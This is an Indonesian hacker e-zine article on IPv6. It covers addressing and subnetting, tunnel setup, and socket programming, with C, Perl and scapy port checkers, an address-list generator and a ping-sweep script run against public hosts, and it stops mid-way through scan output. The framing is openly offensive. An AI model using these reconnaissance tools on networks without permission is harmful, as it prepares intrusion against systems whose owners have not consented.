24 Hours A Day, 300/1200 Baud Presents... #################################################################### TOKET - Terbitan Online Kecoak Elektronik Defending the classical hackers mind since 1995 Publisher : http://www.kecoak-elektronik.net Contact : staff@kecoak-elektronik.net #################################################################### Subject : Exploiting Future Internet - Defeating IPv6 Writer : Ph03n1X (return?) Contact : staff@kecoak-elektronik.net Style : Unicode Transformation Format (UTF-8) --[1]-- Kecoak Elektronik License Kecoak Elektronik secara aktif mendukung Blue Ribbon Campaign. Kami akan berusaha untuk menerbitkan semua informasi yang kami anggap patut diketahui, baik dokumen teks, artikel majalah, atau surat kabar. Seluruh kredit akan diberikan kepada sang pengarang. Kecoak Elektronik tidak bertanggung jawab atas tindakan orang lain. Informasi yang disajikan di situs ini adalah untuk tujuan pendidikan dan informasionil belaka. Jika anda memutuskan untuk mengejawantahkan dalam bentuk apapun informasi yang tersimpan di situs ini, anda melakukan atas keputusan sendiri, dan tidak seorangpun selain anda bertanggung jawab atas tindakan tersebut. Dipersilahkan untuk mengambil sebagian atau seluruh dari isi artikel yang kami terbitkan dengan tetap mencantumkan kredit atas pengarang dan Kecoak Elektronik sebagai penerbit online. Artikel yang dikutip atau diambil tidak dapat dipergunakan untuk kepentingan komersil. --[2]-- Introduction Yeah, drinking till the end! Writing till the end! and the most important - hacking till the end! IPv6 merupakan protokol internet yang sudah mulai digunakan tetapi masih relatif sedikit. Pada jurnal Uninformed vol 10 HD. Moore memberikan penjelasan tentang proses exploitasi IPv6. Beberapa bagian dari tulisan ini memang mengacu pada tulisan HD Moore sebagai referensi tetapi jangan salah tulisan ini bukan versi translate dari tulisan tersebut. Sudah hampir 3 tahun saya berkenalan dengan IPv6 dan apa yang tertulis disini adalah pengalaman pribadi yang mudah mudahan bisa menjadi pelengkap referensi anda tentang IPv6. Kenapa membahas IPv6? kami di kecoak elektronik ingin mengembangkan dan mendewasakan pemahaman tentang hacking, sudah terlalu banyak referensi hacking bagi newbie di indonesia dan sudah saatnya wacana tentang hacking diperluas. We don't hack just by putting malicious URL kids. That's bloodyhell cheap! After core routing infrastructure are pwned, is this the time to bring down future internet today?! So here we go as internet pirates, bunch of skilled people with the most freedomship on internet... --[3]-- IPv6 IPv6 merupakan protokol internet masa depan yang dikenalkan oleh IETF sejak tahun 1998. Standar spesifikasi IPv6 mengacu pada draft RFC 2460. IPv6 menggunakan 128-bit hexal yang menjadikan IP versi enam ini memiliki jumlah alamat jauh lebih banyak dari IPv4 yaitu sekitar ~ 2^128 [i]. IPv6 header format sesuai dengan RFC 2460 [ii] bisa ditunjukkan sebagai berikut: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| Traffic Class | Flow Label | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Payload Length | Next Header | Hop Limit | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Source Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Destination Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ keterangan: - Version 4 bit 'version' berisi nomor versi IP = 6. - Traffic Class 8 bit 'traffic class' yang digunakan untuk mengidentifikasi prioritas paket IPv6. - Flow Label 20 bit 'flow label' digunakan untuk QoS management. - Payload Length 16 bit 'unsigned integer' yang menunjukkan ukuran paket. - Next Header 8 bit yang mengidentifikasi protokol terenkapsulasi selanjutnya. - Hop Limit 8 bit 'unsigned integer' yang nilainya selalu berkurang 1 jika melewati sebuah router. - Source Address 128 bit yang menunjukkan alamat asal paket. - Destination Address 128 bit yang menunjukkan alamat tujuan paket. Model pengalamatan IP menggunakan IP versi 6 bisa pada tipe unicast, anycast, maupun multicast. IPv6 tidak mengenal tipe broadcast. Pengalamatan IP menggunakan IP versi 6 mengacu pada RFC 3513 [iii]. Notasi penulisan IPv6 bisa dipelajari pada RFC 3513 dan tidak perlu bagi saya untuk menulis ulang pada artikel ini, tetapi saya perlu menegaskan ulang mengenai pengalokasian IPv6 yaitu: ::/128 unspecified address ::1/128 loopback address ff00::/8 multicast address fe80::/10 link-local unicast fec0::/10 site-local unicast everything else global unicast alamat anycast dapat diambil dari alamat unicast dan tidak bisa dibedakan secara sintaks dengan alamat unicast. Pada RFC 3513 section 2.7.1 disebutkan beberapa pre-defined alamat multicast. Alamat berikut penting diketahui sebagai pengetahuan penunjang IPv6 discovery & scanning. ff01::1 semua interface-local IPv6 host ff02::1 semua link-local IPv6 host ff05::1 semua site-local IPv6 host ff01::2 semua interface-local IPv6 router ff02::2 semua link-local IPv6 router ff02::5 semua site-local IPv6 router Pengetahuan penting lain mengenai IPv6 adalah tentang bagaimana melakukan perhitungan subnetting. Penjelasan mengenai perhitungan ini dapat ditemui pada dokumen technet microsoft [iv]. Silakan rekan-rekan mengacu pada dokumen tersebut dan mengikuti uraian langkah menghitung subnet pada IPv6. Untuk memperjelas contoh perhitungan subnet IPv6, berikut saya contohkan sebuah perhitungan lagi. Sebuah jaringan IPv6 2406:a000:f0ff:4000::/50 ingin dibagi lagi dengan 4-bit subnetting maka berdasar rumusan pada dokumen technet microsoft diperoleh: 2406:a000:f0ff:4000:: <------------> 48-bit Untuk mendapatkan nilai F, yang harus dilakukan adalah meng AND kan alamat IPv6 dengan prefixnya dalam bentuk biner. Misalnya untuk blok IPv6 di atas adalah: IPv6 2406:a000:f0ff:0100000000000000:: 50-bit ffff:ffff:ffff:1100000000000000:: <-------------> 48-bit AND 2406:a000:f0ff:0100000000000000:: Network 2406:a000:f0ff:0100000000000000:: nilai F adalah hasil AND dari alamat IPv6 dengan prefix pada bit ke-49 sampai bit ke-64 yaitu 100000000000000 atau 0x4000 dalam hexal. F=0x4000, s=4, m=50, dan f= m-48 <=> 50-48=2 Jumlah subnet n=2^s <=> 2^4 = 16 Increment i=2^(16-(f+s)) <=> 2^(16-(2+4))=1024=0x400 Prefix baru P=m+s <=> 50+4 = 54 maka ke-16 subnet tersebut adalah: 2406:a000:f0ff:4000::/54 2406:a000:f0ff:6000::/54 2406:a000:f0ff:4400::/54 2406:a000:f0ff:6400::/54 2406:a000:f0ff:4800::/54 2406:a000:f0ff:6800::/54 2406:a000:f0ff:4c00::/54 2406:a000:f0ff:6c00::/54 2406:a000:f0ff:5000::/54 2406:a000:f0ff:7000::/54 2406:a000:f0ff:5400::/54 2406:a000:f0ff:7400::/54 2406:a000:f0ff:5800::/54 2406:a000:f0ff:7800::/54 2406:a000:f0ff:5c00::/54 2406:a000:f0ff:7c00::/54 Ada beberapa website yang menyediakan kalkulasi subnetting IPv6 yaitu: http://www.liquidalchemy.com http://www.subnetonline.com --[4]-- Connecting to IPv6 Backbone IPv6 saat ini belum banyak digunakan oleh internet provider, sehingga agar kita tersambung ke jaringan backbone IPv6 butuh sebuah trik. Trik ini memanfaatkan tunneling IPv6 pada IPv4. Saat ini sudah banyak sekali penyedia tunnel IPv6-in-IPv4 gratis di internet. Beberapa diantaranya bisa dilihat di wikipedia [v] mengenai IPv6 tunnel broker. IPv6 tunnel broker menyediakan jasa tunneling IPv6-in-IPv4 yang bisa di konfigurasi melalui website atau dengan memanfaatkan Tunnel Setup Protocol (TSP). Konfigurasi melalui website bisa dilakukan melalui website yang disediakan oleh tunnel broker, sedangkan konfigurasi menggunakan TSP biasanya membutuhkan aplikasi client yang disediakan oleh tunnel broker. Pada percobaan ini saya mengunakan tunnel broker http://gogonet.gogo6.com/. Silakan lakukan pendaftaran dan download aplikasi TSP client yang disediakan http://gogonet.gogo6.com/page/download-1. Saya mendownload aplikasi client dalam bentuk source code karena kompatibilitasnya dengan linux. Ekstrak file tersebut dengan menggunakan perintah 'tar xvf gw6c-6_0-RELEASE-src.tar' selanjutnya bacalah file INSTALL pada direktori hasil ekstrak tersebut sebagai petunjuk installasi. Secara sederhana proses installasinya adalah: make all make installdir=/usr/local/gw6c install Jalankan aplikasi TSP client dengan perintah: /usr/local/gw6c/bin/gw6c > /dev/null 2>&1 Jika semua proses sudah dilewati, lakukan pengecekan konfigurasi interface jaringan dengan perintah 'ifconfig'. Jika semua proses yang dilalui sudah benar, maka akan muncul interface baru yaitu interface tunnel IPv6-in-IPv4. sit1 Link encap:IPv6-in-IPv4 inet6 addr: fe80::7660:54ab/64 Scope:Link inet6 addr: fe80::a01:1fe/64 Scope:Link inet6 addr: 2406:a000:f0ff:ffff:8000:0:7660:54ab/128 Scope:Global UP POINTOPOINT RUNNING NOARP MTU:1280 Metric:1 RX packets:1679 errors:0 dropped:0 overruns:0 frame:0 TX packets:1893 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:104852 (104.8 KB) TX bytes:169828 (169.8 KB) Dari pemeriksaan 'ifconfig' diketahui bahwa alamat IPv6 komputer saya adalah 2406:a000:f0ff:ffff:8000:0:7660:54ab/128. Untuk memastikan bahwa komputer sudah tersambung ke jaringan backbone IPv6 bisa dilakukan dengan menggunakan utility 'ping6','dig', dan/atau 'traceroute6'. root@h4x0r:/usr/local/gw6c/bin# ping6 -c 3 www.jp.freebsd.org PING www.jp.freebsd.org(updraft3.jp.FreeBSD.org) 56 data bytes 64 bytes from updraft3.jp.FreeBSD.org: icmp_seq=1 ttl=52 time=400 ms 64 bytes from updraft3.jp.FreeBSD.org: icmp_seq=2 ttl=52 time=398 ms 64 bytes from updraft3.jp.FreeBSD.org: icmp_seq=3 ttl=52 time=397 ms --- www.jp.freebsd.org ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2005ms rtt min/avg/max/mdev = 397.841/399.162/400.799/1.331 ms root@h4x0r:/usr/local/gw6c/bin# ping6 -c 3 ipv6.internode.on.net PING ipv6.internode.on.net(2001:44b8:8020:f501:250:56ff:feb3:6633) 56 data bytes 64 bytes from 2001:44b8:8020:f501:250:56ff:feb3:6633: icmp_seq=1 ttl=55 time=331 ms 64 bytes from 2001:44b8:8020:f501:250:56ff:feb3:6633: icmp_seq=2 ttl=55 time=297 ms 64 bytes from 2001:44b8:8020:f501:250:56ff:feb3:6633: icmp_seq=3 ttl=55 time=301 ms --- ipv6.internode.on.net ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2007ms rtt min/avg/max/mdev = 297.454/310.367/331.792/15.269 ms root@h4x0r:/usr/local/gw6c/bin# dig -t AAAA www.jp.freebsd.org ; <<>> DiG 9.5.0-P2 <<>> -t AAAA www.jp.freebsd.org ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4116 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 1 ;; QUESTION SECTION: ;www.jp.freebsd.org. IN AAAA ;; ANSWER SECTION: www.jp.freebsd.org. 3456 IN AAAA 2001:2f0:104:1:2e0:18ff:fea8:16f5 ;; AUTHORITY SECTION: jp.freebsd.org. 3456 IN NS castle.jp.freebsd.org. jp.freebsd.org. 3456 IN NS ns3.imgsrc.co.jp. jp.freebsd.org. 3456 IN NS asuka.jp.freebsd.org. ;; ADDITIONAL SECTION: ns3.imgsrc.co.jp. 3456 IN A 202.235.195.4 ;; Query time: 0 msec ;; SERVER: 10.1.1.1#53(10.1.1.1) ;; WHEN: Tue Dec 22 09:13:12 2009 ;; MSG SIZE rcvd: 151 root@h4x0r:/usr/local/gw6c/bin# traceroute6 ipv6.internode.on.net traceroute to ipv6.internode.on.net (2001:44b8:8020:f501:250:56ff:feb3:6633) from 2406:a000:f0ff:ffff: 8000:0:7660:54ab, 30 hops max, 16 byte packets 1 2406:a000:f0ff:ffff:8000:1:7660:54ab (2406:a000:f0ff:ffff:8000:1: 7660:54ab) 286.841 ms 275.478 ms 277.258 ms 2 2406:a000:ffff:ffff::1 (2406:a000:ffff:ffff::1) 273.892 ms 273.738 ms 272.925 ms 3 as4826.ipv6.sydney.pipenetworks.com (2001:7fa:b::8) 273.914 ms 273.593 ms 271.722 ms 4 ge-0-2-4.cor02.syd03.nsw.VOCUS.net.au (2402:7800:0:1::69) 272.919 ms 275.04 ms 275.163 ms 5 ge-0-0-0.bdr02.syd03.nsw.VOCUS.net.au (2402:7800:0:1::46) 276.974 ms 274.226 ms 276.413 ms 6 g7-3-0-127.bdr1.syd6.internode.on.net (2001:44b8:b060:4::4739:1) 274.2 ms 277.026 ms 277.866 ms 7 pos7-0.bdr2.adl2.internode.on.net (2001:44b8:8020:9::2) 294.186 ms 297.256 ms 296.546 ms 8 gi1-9.cor1.adl6.internode.on.net (2001:44b8:8060:f::2) 294.378 ms 295.075 ms 296.833 ms 9 te2-1.rtr2.adl6.internode.on.net (2001:44b8:8060:8::2) 294.598 ms 295.085 ms 296.596 ms 10 2001:44b8:8020:f501:250:56ff:feb3:6633 (2001:44b8:8020:f501:250: 56ff:feb3:6633) 296.049 ms 293.678 ms 293.927 ms root@h4x0r:/usr/local/gw6c/bin# Oke, connected to IPv6 network! Let's start to explore the future internet today. --[5]-- An Introduction to IPv6 Socket Programming Kenapa sih pemrograman socket perlu dibahas di artikel ini? Saat saya bereksplorasi dengan IPv6 banyak sekali kasus dimana kita harus mengkode tools agar sesuai keinginan kita. Tools publik untuk IPv6 saat ini masih memiliki banyak keterbatasan. Definisi socket berdasar RFC 793 [vi] adalah pasangan alamat IP dan nomor port, sehingga socket IPv6 adalah pasangan alamat IPv6 dan nomor port service tertentu. Socket sendiri ada dua buah tipe yaitu: - stream socket, misalnya digunakan pada TCP - datagram socket, misalnya digunakan pada UDP Pemrograman socket pada IPv6 memiliki perbedaan dibandingkan dengan pemrograman socket pada IPv4. Perbedaan ini akan terlihat jelas jika rekan rekan membaca file header pemrograman bahasa C. Referensi lengkap pemrograman socket IPv6 bisa diperoleh pada dokumen RFC 3493[vii]. Seperti pada pembahasan yang lain mengenai perkenalan dengan socket programming yang selalu mencontohkan aplikasi client server, tulisan ini juga menggunakan pendekatan yang sama. Pembuatan socket pada IPv6 untuk aplikasi server dan client mengikuti urutan berikut: [viii] > Server - socket() digunakan untuk membuat file deskripsi socket. - bind() digunakan untuk binding alamat interface pada socket. - listen() digunakan untuk menunggu adanya koneksi. - accept() digunakan untuk menerima koneksi. - read() or write() pada TCP digunakan untuk menerima dan mengirim data. - recvfrom() or sendto() pada UDP digunakan untuk menerima dan mengirim data. > Client - socket() digunakan untuk mebuat file deskripsi socket. - connect() digunakan untuk koneksi ke server. - read() or write() pada TCP digunakan untuk menerima dan mengirim data. - recvfrom() or sendto() pada UDP digunakan untuk menerima dan mengirim data. Jika dilihat sepintas lalu urutan pembuatan socket pada IPv6 dan IPv4 adalah sama, yang membedakan adalah parameter socket interface, struktur data alamat IPv6, dan beberapa fungsi berikut: ------------------------------------------------- | IPv4 | IPv6 | ------------------------------------------------- | AF_INET | AF_INET6 | ------------------------------------------------- | in_addr | in6_addr | ------------------------------------------------- | scokaddr_in | sockaddr_in6 | ------------------------------------------------- | inet_aton() | inet_pton() * | | inet_addr() | | ------------------------------------------------- | inet_ntoa() | inet_ntop() * | ------------------------------------------------- | gethostbyname() | getipnodebyname() | | gethostbyaddr() | getipnodebyaddr() | | | getnameinfo() * | | | getaddrinfo() * | ------------------------------------------------- Lalu apa hubungan pemrograman socket dengan proses exploitasi? hampir semua tools dan exploit remote memanfaatkan pemrograman socket. Tools dan exploit tersebut menggunakan socket client untuk keperluan scanning, fingerprinting, enumerasi, dan exploitasi vulnerable server. Proses pada exploitasi cenderung lebih banyak memanfaatkan socket client dibanding socket server. Hal inilah yang mendasarai bagian berikut dari artikel ini banyak membahas socket client. Sebagai contoh pertama, berikut ini adalah sebuah code sederhana untuk melakukan pengecekan apakah sebuah port pada IPv6 address terbuka atau tertutup. /*oport6.c*/ #include #include #include #include #include #include #include /* Port Checker by Ph03n1X This code is ripped and modified from Joonbok Lee Presentation about IPv6 Socket Programming */ int main(int argc, char *argv[]){ int s, c, retval, addrlen; struct addrinfo Hints, *AddrInfo, *AI; if(argc!=3){ printf("Usage : %s \n", argv[0]); exit(0); } memset(&Hints,0,sizeof(Hints)); Hints.ai_family = AF_UNSPEC; Hints.ai_socktype = SOCK_STREAM; retval = getaddrinfo(argv[1],argv[2], &Hints, &AddrInfo); if(retval!=0){ printf("Cannot resolve requested address\n"); exit(0); } for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if(AI->ai_family==AF_INET6){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ printf("can't create socket\n"); exit(0); } c=connect(s,AI->ai_addr,AI->ai_addrlen); if(c==0){ printf("[OPEN] %s on %s\n",argv[1],argv[2]); }else{ printf("[CLOSE/FIREWALL] %s on %s\n",argv[1],argv[2]); } }else{ printf("%s is not IPv6 family\n",argv[1]); } freeaddrinfo(AddrInfo); } } Untuk mengkompilasi dan menggunakan potongan code C sederhana di atas, ikuti langkah berikut: anto@h4x0r$ gcc -o oport6 oport6.c anto@h4x0r$ ls -l oport6 -rwxr-xr-x 1 anto anto 9314 2009-12-24 01:04 oport6 anto@h4x0r$ ./oport6 fe80::200:1cff:fedc:fb66%eth0 3389 [OPEN] fe80::200:1cff:fedc:fb66%eth0 on 3389 anto@h4x0r$ ./oport6 fe80::200:1cff:fedc:fb66%eth0 3381 [CLOSE/FIREWALL] fe80::200:1cff:fedc:fb66%eth0 on 3381 anto@h4x0r$ ./oport6 2001:470:1f00:1644:3::1 22 [CLOSE/FIREWALL] 2001:470:1f00:1644:3::1 on 22 anto@h4x0r$ ./oport6 2001:44b8:8020:f501:250:56ff:feb3:6633 80 [OPEN] 2001:44b8:8020:f501:250:56ff:feb3:6633 on 80 anto@h4x0r$ ./oport6 10.1.1.1 22 10.1.1.1 is not IPv6 family anto@h4x0r$ Menggunakan bahasa C bagi saya kadang cukup merepotkan sehingga sering sekali saya menggunakan beberapa bahasa pemrograman untuk menyelesaikan berbagai masalah yang dihadapi. Pada artikel ini saya juga menggunakan scripting Perl dan Python yang sudah dilengkapi scapy. Penggunaan perl untuk menulis exploit atau scanner sangat menghemat waktu sedangkan menggunakan scapy untuk memodifikasi packet jauh lebih mudah dibanding harus menggunakan bahasa C. Pada scripting perl, IPv6 tidak dikembangkan pada core library sehingga tidak ada support untuk banyak core modules seperti LWP, Net::SMTP, Net::POP3, dan Net::FTP. Untuk membuat socket IPv6 pada perl dilakukan dengan menggunakan IO::Socket::INET6 [ix]. Code C untuk pengecekan port (oport6.c) jika dikonversi ke scripting perl hasilnya adalah sebagai berikut: #!/usr/bin/perl # Port Checker oport6.pl coded by Ph03n1X #cpan IO::Socket::INET6 use IO::Socket::INET6; if(!$ARGV[1]){ print $0 . " \n"; exit; } my $s = IO::Socket::INET6->new(PeerAddr => $ARGV[0], PeerPort => $ARGV[1], Domain => AF_INET6); if($s){ print "[OPEN] $ARGV[0] on $ARGV[1]\n"; }else{ print "[CLOSE/FIREWALL] $ARGV[0] on $ARGV[1]\n"; } Untuk menggunakan script perl oport6.pl di atas adalah sebagai berikut: anto@h4x0r$ perl oport6.pl fe80::200:1cff:fedc:fb66%eth0 3389 [OPEN] fe80::200:1cff:fedc:fb66%eth0 on 3389 anto@h4x0r$ perl oport6.pl fe80::200:1cff:fedc:fb66%eth0 21 [CLOSE/FIREWALL] fe80::200:1cff:fedc:fb66%eth0 on 21 anto@h4x0r$ perl oport6.pl 2001:44b8:8020:f501:250:56ff:feb3:6633 80 [OPEN] 2001:44b8:8020:f501:250:56ff:feb3:6633 on 80 anto@h4x0r$ perl oport6.pl 2001:44b8:8020:f501:250:56ff:feb3:6633 22 [OPEN] 2001:44b8:8020:f501:250:56ff:feb3:6633 on 22 anto@h4x0r$ perl oport6.pl 2001:44b8:8020:f501:250:56ff:feb3:6633 222 [CLOSE/FIREWALL] 2001:44b8:8020:f501:250:56ff:feb3:6633 on 222 anto@h4x0r$ Penggunaan perl dan C untuk keperluan modifikasi packet dan low level packet programming bukan sesuatu yang sederhana. Apalagi pengimplementasian pada IPv6 yang merupakan protokol internet relatif baru (cari bahan dan referensinya susah gan!). Untuk itulah saya menggunakan python dan scapy. Berikut ini contoh sederhana port checker menggunakan scapy. #!/usr/bin/env python # Port Checker oport6-syn.py coded by Ph03n1X import sys if len(sys.argv) !=3: print "Usage : python " + sys.argv[0] + " " sys.exit(0); #Scapy version 2 need to import from scapy.all from scapy.all import * p=sr1(IPv6(dst=sys.argv[1])/TCP(dport=int(sys.argv[2]),flags="S"),verbose=0,timeout=2) #SA flags value is 0x12 or 18 in decimal if p.flags == 18 : print "[OPEN] " + sys.argv[1] + " on " + sys.argv[2] else: print "[CLOSE/FIREWALL]" + sys.argv[1] + " on " + sys.argv[2] Karena scapy menggunakan raw paket, maka dibutuhkan akses root untuk menjalankan script di atas yaitu sebagai berikut: anto@h4x0r$ sudo python oport6-syn.py 2001:2f0:104:1:2e0:18ff:fea8:16f5 [OPEN] 2001:2f0:104:1:2e0:18ff:fea8:16f5 on 22 anto@h4x0r$ sudo python oport6-syn.py 2001:2f0:104:1:2e0:18ff:fea8:16f5 [CLOSE/FIREWALL]2001:2f0:104:1:2e0:18ff:fea8:16f5 on 21 anto@h4x0r$ Scapy sedikit bermasalah dengan alamat link-local (misalnya fe80::200:1cff:fedc:fb66%eth0) dan menganggapnya sebagai illegal address. Sebagai tambahan artikel di referensi [x] dan [xi] sangat baik bagi yang ingin mendalami scapy. Setelah berkenalan dengan pemrograman socket pada IPv6, sekarang saatnya pengetahuan tersebut digunakan untuk keperluan scanning dan exploitasi protokol internet di masa mendatang tersebut. --[6]-- Discovery & Scanning IPv6 tidak mengenal protokol ARP yang mengkonversi dari alamat IP menjadi alamat MAC. Pada IPv6 dikenal adanya proses network discovery dan network solicitation. Network discovery memanfaatkan ICMPv6 untuk mengetahui link-local yang aktif pada jaringan lokal. Network solicitation diperlukan untuk menentukan apakah sebuah IPv6 sudah ada pada subnet jaringan lokal. Dengan menggunakan ICMPv6 kita bisa mengenumerasi local-link mana saja yang hidup pada jaringan lokal. IPv6 Toolkit yang dibuat oleh Van Hauser memiliki tool 'alive6' untuk keperluan enumerasi ini tetapi sayangnya tool ini tidak berjalan dengan baik pada ubuntu 8.10 yang saya gunakan. Sebagai pengganti tool ini, kita bisa mengirimkan ICMPv6 pada alamat multicast ff02::1 yang mencapai kesemua alamat link-local pada sebuah jaringan. (HD Moore menyebutkan bahwa alamat ff02::1 adalah alamat broadcast sedangkan saya mengacu pada RFC 3513 yang menyebutkan bahwa alamat ini adalah alamat multicast). anto@h4x0r:~/k-elektronik$ ping6 -c 5 ff02::1%eth0 > /dev/null 2>&1 anto@h4x0r:~/k-elektronik$ ip neigh|grep ^fe80 fe80::200:1cff:fedc:fb66 dev eth0 lladdr 00:00:1c:dc:fb:66 REACHABLE Pada saat saya mencoba di jaringan lokal kebetulan saya hanya menemukan 1 host dengan link-local IPv6 yang aktif. Lalu bagaimana cara menentukan IPv6 global unicast yang aktif di internet? Cara paling sederhana adalah mengirimkan ICMPv6 ke blok prefix alamat IPv6 tertentu. Masalahnya adalah IPv6 memiliki range IP yang sangat besar sehingga menjadikan prefix sebagai acuan bukanlah ide bagus. Celakanya lagi, saat ini belum ada public tools untuk melakukan discovery & scanning IPv6 secara massive. Ide yang terpikirkan saat penulisan artikel ini adalah dengan membuat sebuah file berisi list IPv6 yang hendak di scan. Proses ini saya lakukan dengan bantuan tool 'buildipv6.pl' yang sudah terbendle pada ipv6-hackit pada direktori 'ipv6-hackit/perl/'. #!/usr/bin/perl # buildipv6.pl is provided by Ph03n1X # Really nasty code but work :) use strict; use warnings; sub str2hex() { #Sub routine str2hex my($bit) = @_; my ($bitlo,$bithi); if($bit =~ /-/){ my @atbit=split('-',$bit); if(hex($atbit[0]) > hex($atbit[1])){ print "ERR! Hexal value at right of \'-\' must be higher than at left\n"; exit; } $bitlo = $atbit[0]; $bithi = $atbit[1]; }else{ $bitlo= $bit; $bithi= $bit; } return($bitlo,$bithi); } #End of sub routine str2hex #Routine main if(!$ARGV[0]){ print "USAGE:\n"; print "perl $0 []\n"; print ""; print "Ex=> perl $0 2046:f0af-f0ff:0a0a:c000-c010:0:0:0:0\n"; print "Ex=> perl $0 fe80:0:0:0:201:6cff:fe9e:e6ab-e6ff\n\n"; print "ATTENTION!\n"; print "1. You have to enter all 128-bit and can not use \'::\'\n"; print "2. Hexal value at right of \'-\' must be higher than at left\n"; print "3. If you play with reserved IPv6 - be sure you know what you do\n"; print "4. Read RFC 3513 to make sure you know what you do\n"; print "This code doesn\'t handle all error caused by not following this!\n"; exit; } my $iface; if(!$ARGV[1]){ $iface="%eth0"; }else{ $iface="%" . $ARGV[1]; } my ($c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8); open(IPv6,">ipv6.out"); my @allbit = split(':',$ARGV[0]); if (scalar(@allbit) !=8){ print "ERR! You have to enter all 128-bit and can not use \'::\'\n"; exit; } my $bit1 = $allbit[0]; my $bit2 = $allbit[1]; my $bit3 = $allbit[2]; my $bit4 = $allbit[3]; my $bit5 = $allbit[4]; my $bit6 = $allbit[5]; my $bit7 = $allbit[6]; my $bit8 = $allbit[7]; my ($bit1lo,$bit1hi) = &str2hex($bit1); my ($bit2lo,$bit2hi) = &str2hex($bit2); my ($bit3lo,$bit3hi) = &str2hex($bit3); my ($bit4lo,$bit4hi) = &str2hex($bit4); my ($bit5lo,$bit5hi) = &str2hex($bit5); my ($bit6lo,$bit6hi) = &str2hex($bit6); my ($bit7lo,$bit7hi) = &str2hex($bit7); my ($bit8lo,$bit8hi) = &str2hex($bit8); for($c1=hex($bit1lo);$c1<=hex($bit1hi);$c1++){ for($c2=hex($bit2lo);$c2<=hex($bit2hi);$c2++){ for($c3=hex($bit3lo);$c3<=hex($bit3hi);$c3++){ for($c4=hex($bit4lo);$c4<=hex($bit4hi);$c4++){ for($c5=hex($bit5lo);$c5<=hex($bit5hi);$c5++){ for($c6=hex($bit6lo);$c6<=hex($bit6hi);$c6++){ for($c7=hex($bit7lo);$c7<=hex($bit7hi);$c7++){ for($c8=hex($bit8lo);$c8<=hex($bit8hi);$c8++){ if($c1==65152){ printf ("%X:%X:%X:%X:%X:%X:%X:%X%s\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8,$iface); printf (IPv6 "%X:%X:%X:%X:%X:%X:%X:%X%s\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8,$iface); }else{ printf ("%X:%X:%X:%X:%X:%X:%X:%X\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8); printf (IPv6 "%X:%X:%X:%X:%X:%X:%X:%X\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8); } } } } } } } } } #End of routine main Untuk membuat daftar list alamat IPv6 perhatikan cara pernggunaan kode di atas sesuai petunjuk pada USAGE. Jika anda bingung itu tugas anda mempelajari bagaimana kode ini bekerja. File yang dibuat oleh buildipv6.pl disimpan pada file 'ipv6.out' yang isinya kurang lebih sebagai berikut: 2001:44B8:8020:F501:250:56FE:FEB3:6631 2001:44B8:8020:F501:250:56FE:FEB3:6632 2001:44B8:8020:F501:250:56FE:FEB3:6633 2001:44B8:8020:F501:250:56FE:FEB3:6634 2001:44B8:8020:F501:250:56FE:FEB3:6635 2001:44B8:8020:F501:250:56FE:FEB3:6636 2001:44B8:8020:F501:250:56FE:FEB3:6637 (dst) Langkah selanjutnya adalah mencari tahu/menemukan IPv6 mana saja yang hidup/aktif. Gunakan bantuan tools 'isalive6.py' atau 'isalive6.pl'yang juga sudah terbendle pada ipv6-hackit. Tools ini masing-masing ada pada direktori 'ipv6-hackit/python/' dan 'ipv6-hackit/perl/' #!/usr/bin/env python # isalive6.py is provided by Ph03n1X # Thread is modified from: # Tutorial on Threads Programming with Python by Norman Matloff & # Francis Hsu import sys,os,re,time,threading class ping6(threading.Thread): ping6list = [] #Using 10 threads is just too slow. maxthreads = 10 #But increasing this number is bad idea :) evnt = threading.Event() lck = threading.Lock() def __init__(self,cnt,ip): threading.Thread.__init__(self); self.ip = ip self.status = -1 self.count = cnt def run(self): logfile = open("isalive6.log","a") pin,pout,perr = os.popen3("ping6 -c2 -s 0 "+self.ip,"r") pin.close() cmdout = pout.readlines() igot = re.search("8 bytes from",cmdout[1]) if igot: print str(self.count)+" : [REACHED] "+self.ip record = str(self.count)+" : [REACHED] "+self.ip+"\n" logfile.write(record) else: print str(self.count)+" : [NOT REACHED] "+self.ip logfile.close() ping6.lck.acquire() ping6.ping6list.remove(self) if len(ping6.ping6list) == ping6.maxthreads-1: ping6.evnt.set() ping6.evnt.clear() ping6.lck.release() def newthread(count,hst): ping6.lck.acquire() pg6 = ping6(count,hst) ping6.ping6list.append(pg6) ping6.lck.release() pg6.start() newthread = staticmethod(newthread) def main(): if len(sys.argv) !=2: print "Usage : python " + sys.argv[0] + " " sys.exit(0); os.unlink("isalive6.log") print time.ctime() n = 1 input = open(sys.argv[1],"r") for host in input: ping6.lck.acquire() if len(ping6.ping6list) >= ping6.maxthreads: ping6.lck.release() ping6.evnt.wait() else: ping6.lck.release() ping6.newthread(n,host.rstrip()) n+=1 for pingle in ping6.ping6list: pingle.join() print time.ctime() print "Total Host Scanned : %i"%(n) if __name__ == '__main__': main() # This code is somewhat buggy when route to the unreachable network Untuk menggunakan isalive6.py, ketikkan perintah pada shell linux: python isalive6.py contoh : python isalive6.py ipv6.out Hasil discovery host yang aktif disimpan pada file 'isalive6.log', sedangkan proses discovery secara keseluruhan ditampilkan pada stdout (monitor). 1 : [NOT REACHED] 